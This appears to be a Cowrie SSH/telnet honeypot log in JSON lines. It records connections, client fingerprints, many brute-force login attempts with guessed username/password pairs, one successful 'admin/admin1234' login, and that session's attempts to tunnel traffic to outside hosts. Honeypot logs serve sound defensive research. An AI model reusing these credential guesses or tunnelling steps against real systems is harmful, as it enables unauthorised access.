\\xad\\x93W;\\xe0\\xff\\x04!\\xc2\\xcaw\\x1fR\\xb8\\x87\\xe5\\\\\\x8b`e\\xd6\\xa8\\xc0#K\\xb6\\xdcy\\xca/\\xa8\\x88\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x96\\xb8\\xa6\\xe5A\\x0eC\\xc7?\\xff\\xfa2\\x16\\x943,m\\x92~A0\\x10\\x9bTT\\x9fS\\xb0^\\xb8\\x8b-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.801791Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:47.161108Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19454,"dst_ip":"159.203.135.109","dst_port":22,"session":"33d4f7243dd4","protocol":"ssh","message":"New connection: 91.92.40.36:19454 (159.203.135.109:22) [session: 33d4f7243dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:48.280947Z"}
{"eventid":"cowrie.login.failed","username":"com","password":"com","message":"login attempt [com/com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:49.328998Z","src_ip":"91.92.40.36","session":"814e51263338","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:49.490869Z","src_ip":"91.92.40.36","session":"33d4f7243dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:49.494379Z","src_ip":"91.92.40.36","session":"33d4f7243dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:51.283108Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ZAQ!xsw2","message":"login attempt [ubuntu/ZAQ!xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:52.242857Z","src_ip":"91.92.40.36","session":"dcf9ad7244f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:52.852571Z","src_ip":"91.92.40.36","session":"814e51263338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45866,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3326b4011cf","protocol":"telnet","message":"New connection: 172.81.62.90:45866 (159.203.135.109:23) [session: e3326b4011cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:55.245019Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":19522,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d1e2e970181","protocol":"ssh","message":"New connection: 91.92.40.36:19522 (159.203.135.109:22) [session: 4d1e2e970181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:55.322302Z"}
{"eventid":"cowrie.session.closed","duration":"20.1","message":"Connection lost after 20.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:55.405724Z","src_ip":"91.92.40.36","session":"dcf9ad7244f0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:56.229120Z","src_ip":"91.92.40.36","session":"4d1e2e970181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:56.234215Z","src_ip":"91.92.40.36","session":"4d1e2e970181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"d3v3l0p3r","message":"login attempt [developer/d3v3l0p3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:58.554657Z","src_ip":"91.92.40.36","session":"33d4f7243dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50592,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bde5ed6cd3f","protocol":"ssh","message":"New connection: 91.92.40.36:50592 (159.203.135.109:22) [session: 2bde5ed6cd3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:00.520949Z"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:02.172611Z","src_ip":"91.92.40.36","session":"33d4f7243dd4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:02.248972Z","src_ip":"91.92.40.36","session":"2bde5ed6cd3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:02.255285Z","src_ip":"91.92.40.36","session":"2bde5ed6cd3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sharon","password":"sharon123","message":"login attempt [sharon/sharon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:04.179979Z","src_ip":"91.92.40.36","session":"4d1e2e970181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:07.636097Z","src_ip":"91.92.40.36","session":"4d1e2e970181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.988588094711304,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:07.718897Z","src_ip":"172.81.62.90","session":"8ce0d09ffad4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kaeli","password":"kaeli","message":"login attempt [kaeli/kaeli] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:08.429434Z","src_ip":"91.92.40.36","session":"2bde5ed6cd3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:10.018502Z","src_ip":"91.92.40.36","session":"2bde5ed6cd3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40384,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b1f75992202","protocol":"ssh","message":"New connection: 91.92.40.36:40384 (159.203.135.109:22) [session: 9b1f75992202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:10.252559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:11.030456Z","src_ip":"91.92.40.36","session":"9b1f75992202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:11.033948Z","src_ip":"91.92.40.36","session":"9b1f75992202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aya","password":"aya","message":"login attempt [aya/aya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:12.806536Z","src_ip":"91.92.40.36","session":"9b1f75992202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.917564392089844,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:13.395413Z","src_ip":"128.199.8.54","session":"495b446d32c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:14.102592Z","src_ip":"91.92.40.36","session":"9b1f75992202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35340,"dst_ip":"159.203.135.109","dst_port":22,"session":"86ac1a7957a0","protocol":"ssh","message":"New connection: 91.92.40.36:35340 (159.203.135.109:22) [session: 86ac1a7957a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:18.195131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:18.442919Z","src_ip":"91.92.40.36","session":"86ac1a7957a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:18.445712Z","src_ip":"91.92.40.36","session":"86ac1a7957a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"toggle","message":"login attempt [admin/toggle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:19.844670Z","src_ip":"91.92.40.36","session":"86ac1a7957a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:21.265167Z","src_ip":"91.92.40.36","session":"86ac1a7957a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":60941,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe0b992f8efb","protocol":"ssh","message":"New connection: 123.27.168.40:60941 (10.17.0.5:22) [session: fe0b992f8efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:24.994276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:24.999497Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:25.236498Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:26.306532Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:26.648888Z","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:26.784853Z","session":"fe0b992f8efb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:26.880532Z","src_ip":"123.27.168.40","session":"fe0b992f8efb","protocol":"ssh"}
